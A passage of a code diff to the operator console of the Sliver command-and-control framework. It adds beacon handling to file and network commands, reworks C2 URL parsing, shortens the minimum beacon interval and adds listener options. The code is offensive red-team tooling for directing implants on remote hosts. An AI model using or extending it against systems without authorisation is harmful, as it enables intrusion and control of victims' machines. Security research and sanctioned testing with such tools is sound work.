err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
if err != nil {
return nil, err
}
err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
if err != nil {
return nil, err
}
return outBuffer.Bytes(), nil
}
-1
View File
@@ -59,7 +59,6 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
-1
View File
@@ -47,7 +47,6 @@ func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
-1
View File
@@ -71,7 +71,6 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
+3 -3
View File
@@ -70,8 +70,9 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indices should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurrence]
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurrence+1]
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
_, err := filepath.Match(potentialFilter, "")
@@ -94,7 +95,6 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if ls.Response != nil && ls.Response.Async {
con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, ls)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
-1
View File
@@ -53,7 +53,6 @@ func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if mkdir.Response != nil && mkdir.Response.Async {
con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, mkdir)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
-1
View File
@@ -44,7 +44,6 @@ func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
-1
View File
@@ -55,7 +55,6 @@ func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if rm.Response != nil && rm.Response.Async {
con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, rm)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
-1
View File
@@ -83,7 +83,6 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if upload.Response != nil && upload.Response.Async {
con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, upload)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
+2 -2
View File
@@ -11,8 +11,8 @@ import (
)
var (
minBeaconInterval = 15 * time.Second
ErrBeaconIntervalTooShort = fmt.Errorf("Beacon interval must be %v or greater", minBeaconInterval)
minBeaconInterval = 5 * time.Second
ErrBeaconIntervalTooShort = fmt.Errorf("beacon interval must be %v or greater", minBeaconInterval)
)
// GenerateBeaconCmd - The main command used to generate implant binaries
+161 -82
View File
@@ -97,11 +97,21 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
compile(config, save, con)
}
func expandPath(path string) string {
// unless path starts with ~
if len(path) == 0 || path[0] != 126 {
return path
}
return filepath.Join(os.Getenv("HOME"), path[1:])
}
func saveLocation(save, DefaultName string) (string, error) {
var saveTo string
if save == "" {
save, _ = os.Getwd()
}
save = expandPath(save)
fi, err := os.Stat(save)
if os.IsNotExist(err) {
log.Printf("%s does not exist\n", save)
@@ -168,22 +178,46 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
c2s := []*clientpb.ImplantC2{}
mtlsC2 := parseMTLSc2(ctx.Flags.String("mtls"))
mtlsC2, err := ParseMTLSc2(ctx.Flags.String("mtls"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, mtlsC2...)
wgC2 := parseWGc2(ctx.Flags.String("wg"))
wgC2, err := ParseWGc2(ctx.Flags.String("wg"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, wgC2...)
httpC2 := parseHTTPc2(ctx.Flags.String("http"))
httpC2, err := ParseHTTPc2(ctx.Flags.String("http"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, httpC2...)
dnsC2 := parseDNSc2(ctx.Flags.String("dns"))
dnsC2, err := ParseDNSc2(ctx.Flags.String("dns"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, dnsC2...)
namedPipeC2 := parseNamedPipec2(ctx.Flags.String("named-pipe"))
namedPipeC2, err := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, namedPipeC2...)
tcpPivotC2 := parseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
tcpPivotC2, err := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, tcpPivotC2...)
var symbolObfuscation bool
@@ -339,49 +373,75 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
return targetOS, targetArch
}
func parseMTLSc2(args string) []*clientpb.ImplantC2 {
// ParseMTLSc2 - Parse mtls connection string arg
func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri := url.URL{Scheme: "mtls"}
uri.Host = arg
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultMTLSLPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseWGc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
uri := url.URL{Scheme: "wg"}
uri.Host = arg
var uri *url.URL
var err error
if strings.HasPrefix(arg, "mtls://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultWGLPort)
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
return c2s, nil
}
func parseHTTPc2(args string) []*clientpb.ImplantC2 {
// ParseWGc2 - Parse wg connect string arg
func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "mtls://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
}
// ParseHTTPc2 - Parse HTTP connection string arg
func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
@@ -390,14 +450,12 @@ func parseHTTPc2(args string) []*clientpb.ImplantC2 {
if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
uri, err = url.Parse(arg)
if err != nil {
log.Printf("Failed to parse C2 URL %s", err)
continue
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("https://%s", arg))
if err != nil {
log.Printf("Failed to parse C2 URL %s", err)
continue
return nil, err
}
}
c2s = append(c2s, &clientpb.ImplantC2{
@@ -405,73 +463,94 @@ func parseHTTPc2(args string) []*clientpb.ImplantC2 {
URL: uri.String(),
})
}
return c2s
return c2s, nil
}
func parseDNSc2(args string) []*clientpb.ImplantC2 {
// ParseDNSc2 - Parse DNS connection string arg
func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
uri := url.URL{Scheme: "dns"}
if len(arg) < 1 {
continue
}
// Make sure we have the FQDN
if !strings.HasSuffix(arg, ".") {
arg += "."
}
arg = strings.TrimPrefix(arg, ".")
uri.Host = arg
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseNamedPipec2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri, err := url.Parse("namedpipe://" + arg)
if len(arg) < 1 {
continue
}
if err != nil {
return c2s
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "dns://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("dns://%s", arg))
if err != nil {
return nil, err
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
return c2s, nil
}
func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
// ParseNamedPipec2 - Parse named pipe connection string arg
func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
uri := url.URL{Scheme: "tcppivot"}
uri.Host = arg
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultTCPPivotPort)
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "named-pipe://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
if err != nil {
return nil, err
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
return c2s, nil
}
// ParseTCPPivotc2 - Parse tcp pivot connection string arg
func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "tcp-pivot://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
if err != nil {
return nil, err
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
}
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
@@ -550,7 +629,7 @@ func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string
compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintWarnf("Failed to check target compatibility: %s\n", err)
con.PrintErrorf("Failed to check target compatibility: %s\n", err)
return true
}
@@ -585,7 +664,7 @@ func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossC
}
func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
con.PrintWarnf("WARNING: Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
switch targetOS {
case "windows":
con.PrintWarnf("The server cannot find an installation of mingw")
+9 -2
View File
@@ -45,8 +45,15 @@ func printHelp(con *console.SliverConsoleClient) {
groups := make(map[string]*grumble.Commands)
for _, c := range con.App.Commands().All() {
key := c.HelpGroup
if con.ActiveTarget.GetSession() != nil {
if con.ActiveTarget.GetSession().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
targetOS := ""
session, beacon := con.ActiveTarget.GetInteractive()
if session != nil {
targetOS = session.OS
} else if beacon != nil {
targetOS = beacon.OS
}
if beacon != nil || session != nil {
if targetOS != "windows" && key == consts.SliverWinHelpGroup {
continue
}
} else {
+10 -12
View File
@@ -84,7 +84,7 @@ var (
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.PivotsListStr: pivotListHelp,
consts.PivotsStr: pivotsHelp,
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
@@ -482,21 +482,19 @@ When using the binary type, you must either:
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
pivotListHelp = `[[.Bold]]Command:[[.Normal]] pivots-list [--id SESSIONID]
[[.Bold]]About:[[.Normal]] List created pivots
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
[[.Bold]]Examples:[[.Normal]]
List pivots for all sessions:
pivots-list
List pivots for a specific session:
pivots-list --id 1
List pivots for the current session:
pivots-list
`
pivots
Start a tcp pivot on the current session:
pivots tcp --bind 0.0.0.0
`
wgSocksHelp = `[[.Bold]]Command:[[.Normal]] wg-socks
[[.Bold]]About:[[.Normal]] Create a socks5 listener on the implant Wireguard tun interface
[[.Bold]]Examples:[[.Normal]]
+21 -1
View File
@@ -66,8 +66,9 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
"Hostname",
"Operating System",
"Sessions",
"Beacons",
"IOCs",
"Extension Data",
"Extensions",
})
for _, host := range hosts {
var shortID string
@@ -81,6 +82,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
host.Hostname,
host.OSVersion,
hostSessionNumbers(host.HostUUID, con),
hostBeacons(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
})
@@ -100,6 +102,24 @@ func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) strin
return strings.Join(sessionNumbers, ", ")
}
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return "Error"
}
count := 0
for _, beacon := range beacons.Beacons {
if beacon.UUID == hostUUID {
count++
}
}
if count == 0 {
return "None"
} else {
return fmt.Sprintf("%d", count)
}
}
// SessionsForHost - Find session for a given host by id
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
+1 -3
View File
@@ -32,6 +32,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if session != nil {
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
@@ -45,7 +46,6 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, session.PollTimeout)
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
} else if beacon != nil {
@@ -65,8 +65,6 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
// con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, beacon.PollTimeout)
// con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, beacon.ReconnectInterval)
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
+21 -6
View File
@@ -20,6 +20,7 @@ package jobs
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -31,15 +32,29 @@ func HTTPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domain := ctx.Flags.String("domain")
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
disableOTP := ctx.Flags.Bool("disable-otp")
longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Starting HTTP %s:%d listener ...\n", domain, lport)
http, err := con.Rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: ctx.Flags.String("website"),
Host: lhost,
Port: uint32(lport),
Secure: false,
Persistent: ctx.Flags.Bool("persistent"),
Domain: domain,
Website: ctx.Flags.String("website"),
Host: lhost,
Port: uint32(lport),
Secure: false,
Persistent: ctx.Flags.Bool("persistent"),
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+25 -9
View File
@@ -21,6 +21,7 @@ package jobs
import (
"context"
"io/ioutil"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -34,6 +35,18 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
disableOTP := ctx.Flags.Bool("disable-otp")
longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
cert, key, err := getLocalCertificatePair(ctx)
if err != nil {
con.Println()
@@ -43,15 +56,18 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Starting HTTPS %s:%d listener ...\n", domain, lport)
https, err := con.Rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: website,
Host: lhost,
Port: uint32(lport),
Secure: true,
Cert: cert,
Key: key,
ACME: ctx.Flags.Bool("lets-encrypt"),
Persistent: ctx.Flags.Bool("persistent"),
Domain: domain,
Website: website,
Host: lhost,
Port: uint32(lport),
Secure: true,
Cert: cert,
Key: key,
ACME: ctx.Flags.Bool("lets-encrypt"),
Persistent: ctx.Flags.Bool("persistent"),
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
})
con.Println()
if err != nil {
@@ -1,4 +1,4 @@
package sessions
package kill
/*
Sliver Implant Framework
@@ -32,33 +32,48 @@ import (
// KillCmd - Kill the active session (not to be confused with TerminateCmd)
func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
con.PrintWarnf("No active session\n")
return
}
session, beacon := con.ActiveTarget.GetInteractive()
// Confirm with the user, just in case they confused kill with terminate
confirm := false
prompt := &survey.Confirm{Message: "Kill the active session?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
promptSession := &survey.Confirm{Message: "Kill the active session?"}
promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
if session != nil {
survey.AskOne(promptSession, &confirm, nil)
if !confirm {
return
}
err := KillSession(session, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.ActiveTarget.Background()
return
}
err := killSession(session, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
if beacon != nil {
survey.AskOne(promptBeacon, &confirm, nil)
if !confirm {
return
}
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
con.ActiveTarget.Background()
return
}
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.ActiveTarget.Background()
con.PrintErrorf("No active session or beacon\n")
return
}
func killSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
if session == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
SessionID: session.ID,
},
@@ -66,3 +81,17 @@ func killSession(session *clientpb.Session, force bool, con *console.SliverConso
})
return err
}
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
if beacon == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
BeaconID: beacon.ID,
},
Force: force,
})
return err
}
+1 -1
View File
@@ -46,7 +46,7 @@ func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if filter == "" {
allLoot, err = con.Rpc.LootAll(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintWarnf("Failed to fetch loot %s\n", err)
con.PrintErrorf("Failed to fetch loot %s\n", err)
return
}
} else {
+1 -1
View File
@@ -1,4 +1,4 @@
Extensions
Macros
===========
Wraps external DLLs/tool in Sliver console commands.
+67 -15
View File
@@ -20,22 +20,26 @@ package network
import (
"context"
"fmt"
"sort"
"strconv"
"strings"
"github.com/desertbit/grumble"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"google.golang.org/protobuf/proto"
)
// IfconfigCmd - Display network interfaces on the remote system
func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
ifconfig, err := con.Rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{
Request: con.ActiveTarget.Request(ctx),
})
@@ -43,14 +47,47 @@ func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
all := ctx.Flags.Bool("all")
if ifconfig.Response != nil && ifconfig.Response.Async {
con.AddBeaconCallback(ifconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, ifconfig)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintIfconfig(ifconfig, all, con)
})
con.PrintAsyncResponse(ifconfig.Response)
} else {
PrintIfconfig(ifconfig, all, con)
}
}
for ifaceIndex, iface := range ifconfig.NetInterfaces {
con.Printf("%s%s%s (%d)\n", console.Bold, iface.Name, console.Normal, ifaceIndex)
// PrintIfconfig - Print the ifconfig response
func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverConsoleClient) {
var err error
interfaces := ifconfig.NetInterfaces
sort.Slice(interfaces, func(i, j int) bool {
return interfaces[i].Index < interfaces[j].Index
})
hidden := 0
for index, iface := range interfaces {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableWithBordersStyle(con))
tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, iface.Name))
tw.SetColumnConfigs([]table.ColumnConfig{
{Name: "#", AutoMerge: true},
{Name: "IP Address", AutoMerge: true},
{Name: "MAC Address", AutoMerge: true},
})
rowConfig := table.RowConfig{AutoMerge: true}
tw.AppendHeader(table.Row{"#", "IP Addresses", "MAC Address"}, rowConfig)
macAddress := ""
if 0 < len(iface.MAC) {
con.Printf(" MAC Address: %s\n", iface.MAC)
macAddress = iface.MAC
}
ips := []string{}
for _, ip := range iface.IPAddresses {
// Try to find local IPs and colorize them
subnet := -1
if strings.Contains(ip, "/") {
@@ -61,15 +98,30 @@ func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
subnet = -1
}
}
if 0 < subnet && subnet <= 32 && !isLoopback(ip) {
con.Printf(console.Bold+console.Green+" IP Address: %s%s\n", ip, console.Normal)
} else if 32 < subnet && !isLoopback(ip) {
con.Printf(console.Bold+console.Cyan+" IP Address: %s%s\n", ip, console.Normal)
} else {
con.Printf(" IP Address: %s\n", ip)
ips = append(ips, fmt.Sprintf(console.Bold+console.Green+"%s"+console.Normal, ip))
} else if all {
ips = append(ips, fmt.Sprintf("%s", ip))
}
}
if !all && len(ips) < 1 {
hidden++
continue
}
if 0 < len(ips) {
for _, ip := range ips {
tw.AppendRow(table.Row{iface.Index, ip, macAddress}, rowConfig)
}
} else {
tw.AppendRow(table.Row{iface.Index, " ", macAddress}, rowConfig)
}
con.Printf("%s\n", tw.Render())
if index+1 < len(interfaces) {
con.Println()
}
}
if !all {
con.Printf("%d adapters not shown.\n", hidden)
}
}
+60 -24
View File
@@ -22,17 +22,20 @@ import (
"context"
"fmt"
"net"
"strings"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"google.golang.org/protobuf/proto"
)
// NetstatCmd - Display active network connections on the remote system
func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -42,6 +45,9 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
tcp := ctx.Flags.Bool("tcp")
udp := ctx.Flags.Bool("udp")
implantPID := getPID(session, beacon)
activeC2 := getActiveC2(session, beacon)
netstat, err := con.Rpc.Netstat(context.Background(), &sliverpb.NetstatReq{
Request: con.ActiveTarget.Request(ctx),
TCP: tcp,
@@ -54,10 +60,22 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
displayEntries(netstat.Entries, con)
if netstat.Response != nil && netstat.Response.Async {
con.AddBeaconCallback(netstat.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, netstat)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintNetstat(netstat, implantPID, activeC2, con)
})
con.PrintAsyncResponse(netstat.Response)
} else {
PrintNetstat(netstat, implantPID, activeC2, con)
}
}
func displayEntries(entries []*sliverpb.SockTabEntry, con *console.SliverConsoleClient) {
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, con *console.SliverConsoleClient) {
lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
const IPv4Strlen = 17
addr := skaddr.Ip
@@ -71,30 +89,48 @@ func displayEntries(entries []*sliverpb.SockTabEntry, con *console.SliverConsole
return fmt.Sprintf("%s:%d", addr, skaddr.Port)
}
con.Printf("Proto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name")
session := con.ActiveTarget.GetSessionInteractive()
for _, e := range entries {
p := ""
if e.Process != nil {
p = fmt.Sprintf("%d/%s", e.Process.Pid, e.Process.Executable)
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{"Protocol", "Local Address", "Foreign Address", "State", "PID/Program name"})
for _, entry := range netstat.Entries {
pid := ""
if entry.Process != nil {
